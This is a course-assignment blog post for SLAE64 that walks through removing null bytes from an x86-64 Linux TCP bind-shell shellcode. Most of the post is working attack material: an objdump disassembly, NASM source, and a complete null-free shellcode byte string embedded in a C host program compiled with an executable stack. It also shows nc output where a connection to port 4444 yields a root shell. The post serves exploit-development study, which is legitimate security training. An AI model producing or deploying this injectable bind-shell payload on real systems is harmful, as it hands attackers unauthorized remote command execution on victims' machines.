SLAE64 Assignment 1 - Remove Nulls TCP Bindshell

7 minute read

Overview

The second part of the first assignment of SLAE64 was to remove the nulls from the bindshell provided by Pentester Academy.

Compiling & Testing Original - With GCC in C Host Program

root@zed# ./shellcode
Shellcode Length:  2
  • We can see here that these nulls truncate our shellcode when executed in a host program.
  • This is because \x00 will terminate a string in the host program.
  • Most of the time shellcode is injected into the host program by overflowing the string of a buffer, therefor truncating the shellcode.

Compiling & Testing Original - With NASM & LD

The shellcode works great if it is compiled and ran as its own program. This means the shellcode logic is good.

Terminal 1

root# nasm -f elf64 bindshell.asm -o bindshell.o
root# rm shellcode
root# ld bindshell.o -o bindshell
root# ./bindshell

Terminal 2

root# nc 127.0.0.1 4444
id
uid=0(root) gid=0(root) groups=0(root),46(plugdev)

Removing Nulls

To make this shellcode injectable into most host programs, we will need to remove the 0x00 aka Nulls.

To determine which assembly instructions are producing the nulls, we will use objdump on the object file.

root# objdump -D bindshell.o -M intel
   0:   b8 29 00 00 00          mov    eax,0x29
   5:   bf 02 00 00 00          mov    edi,0x2
   a:   be 01 00 00 00          mov    esi,0x1
   f:   ba 00 00 00 00          mov    edx,0x0
  14:   0f 05                   syscall
  16:   48 89 c7                mov    rdi,rax
  19:   48 31 c0                xor    rax,rax
  1c:   50                      push   rax
  1d:   89 44 24 fc             mov    DWORD PTR [rsp-0x4],eax
  21:   66 c7 44 24 fa 11 5c    mov    WORD PTR [rsp-0x6],0x5c11
  28:   66 c7 44 24 f8 02 00    mov    WORD PTR [rsp-0x8],0x2
  2f:   48 83 ec 08             sub    rsp,0x8
  33:   b8 31 00 00 00          mov    eax,0x31
  38:   48 89 e6                mov    rsi,rsp
  3b:   ba 10 00 00 00          mov    edx,0x10
  40:   0f 05                   syscall
  42:   b8 32 00 00 00          mov    eax,0x32
  47:   be 02 00 00 00          mov    esi,0x2
  4c:   0f 05                   syscall
  4e:   b8 2b 00 00 00          mov    eax,0x2b
  53:   48 83 ec 10             sub    rsp,0x10
  57:   48 89 e6                mov    rsi,rsp
  5a:   c6 44 24 ff 10          mov    BYTE PTR [rsp-0x1],0x10
  5f:   48 83 ec 01             sub    rsp,0x1
  63:   48 89 e2                mov    rdx,rsp
  66:   0f 05                   syscall
  68:   49 89 c1                mov    r9,rax
  6b:   b8 03 00 00 00          mov    eax,0x3
  70:   0f 05                   syscall
  72:   4c 89 cf                mov    rdi,r9
  75:   b8 21 00 00 00          mov    eax,0x21
  7a:   be 00 00 00 00          mov    esi,0x0
  7f:   0f 05                   syscall
  81:   b8 21 00 00 00          mov    eax,0x21
  86:   be 01 00 00 00          mov    esi,0x1
  8b:   0f 05                   syscall
  8d:   b8 21 00 00 00          mov    eax,0x21
  92:   be 02 00 00 00          mov    esi,0x2
  97:   0f 05                   syscall
  99:   48 31 c0                xor    rax,rax
  9c:   50                      push   rax
  9d:   48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f2f6e69622f
  a4:   2f 73 68
  a7:   53                      push   rbx
  a8:   48 89 e7                mov    rdi,rsp
  ab:   50                      push   rax
  ac:   48 89 e2                mov    rdx,rsp
  af:   57                      push   rdi
  b0:   48 89 e6                mov    rsi,rsp
  b3:   48 83 c0 3b             add    rax,0x3b
  b7:   0f 05                   syscall
  • After investigating the shellcode, we can see that the Nulls exist due to the mov instructions used.

Modified Null-Free Shellcode

To remove the 0x00’s from the shellcode, we will need to substitute the mov instructions.

global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
xor rdi, rdi ; rdi=0x0
mul rdi      ; rax&rdx=0x0
add rax, 41  ; socket syscall number 41
add rdi, 2   ; AF_INET=0x2
push rdx
pop rsi
inc rsi      ; rsi=0x1=SOCK_STREAM
syscall
mov rdi, rax ; rdi=socket-fd
; server.sin_family = AF_INET
; server.sinport = htons(PORT)
; server.sinaddr.saddr = INADDRANY
; bzero(&server.sinzero, 8)
dec rsi
mul rsi
add al, 0x31     ; rax = 0x31 = socket syscall
push rdx         ; 8 bytes of zeros for second half of struct
push dx          ; 4 bytes of zeros for IPADDRANY
push dx          ; 4 bytes of zeros for IPADDRANY
push word 0x5c11 ; push 2 bytes for TCP Port 4444
inc rdx
inc rdx          ; rdx = 0x2 ; dx = 0x0002
push dx          ; 0x2 = AFINET
add dl, 0xe      ; rdi = 0x10 = sizeof(ipSocketAddr)
mov rsi, rsp     ; rsi = &ipSocketAddr
syscall
; listen(sock, MAXCLIENTS)
mul rsi      ; rax&rdx=0x0
add rax, 50
inc rsi
inc rsi
syscall
; new = accept(sock, (struct sockaddr client, &sockaddrlen)
mul rdx
add rax, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
; store the client socket description
mov r9, rax
; close parent
xor rax, rax
add rax, 3
syscall

Assemble the new shellcode

root# nasm -f elf64 mod-bindshell.asm -o mod-bindshell.o
root# ld mod-bindshell.o -o mod-bindshell
root# ./mod-bindshell
root# for i in $(objdump -D mod-bindshell.o | grep "^ " | cut -f2); do echo -n '\x'$i; done

Add the Modified Shellcode to the C Host Program

#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = \
"\x48\x31\xff\x48\xf7\xe7\x48\x83\xc0\x29\x48\x83"
"\xc7\x02\x52\x5e\x48\xff\xc6\x0f\x05\x48\x89\xc7"
"\x48\xff\xce\x48\xf7\xe6\x04\x31\x52\x66\x52\x66"
"\x52\x66\x68\x11\x5c\x48\xff\xc2\x48\xff\xc2\x66"
"\x52\x80\xc2\x0e\x48\x89\xe6\x0f\x05\x48\xf7\xe6"
"\x48\x83\xc0\x32\x48\xff\xc6\x48\xff\xc6\x0f\x05"
"\x48\xf7\xe2\x48\x83\xc0\x2b\x48\x83\xec\x10\x48"
"\x89\xe6\xc6\x44\x24\xff\x10\x48\x83\xec\x01\x48"
"\x89\xe2\x0f\x05\x49\x89\xc1\x48\x31\xc0\x48\x83"
"\xc0\x03\x0f\x05\x48\x31\xf6\x48\xf7\xe6\x4c\x89"
"\xcf\x48\x83\xc0\x21\x50\x0f\x05\x58\x50\x48\xff"
"\xc6\x0f\x05\x58\x50\x48\xff\xc6\x0f\x05\x48\x31"
"\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
"\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6"
"\x48\x83\xc0\x3b\x0f\x05";
int main()
{
 printf("Shellcode Length:  %d\n", strlen(shellcode));
 int (*ret)() = (int(*)())shellcode;
 ret();
}

Terminal 1

root# gcc -m64 -z execstack -fno-stack-protector shellcode.c -o shellcode
root# ./shellcode
Shellcode Length:  174

Terminal 2

root# nc 127.0.0.1 4444
id
uid=0(root) gid=0(root) groups=0(root)
  • Awesome! Our modified bindshell works from the host program and contains no nulls!!

SLAE64 Blog Proof

This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64):
    https://www.pentesteracademy.com/course?id=7
SLAE/Student ID: PA-10913

Updated: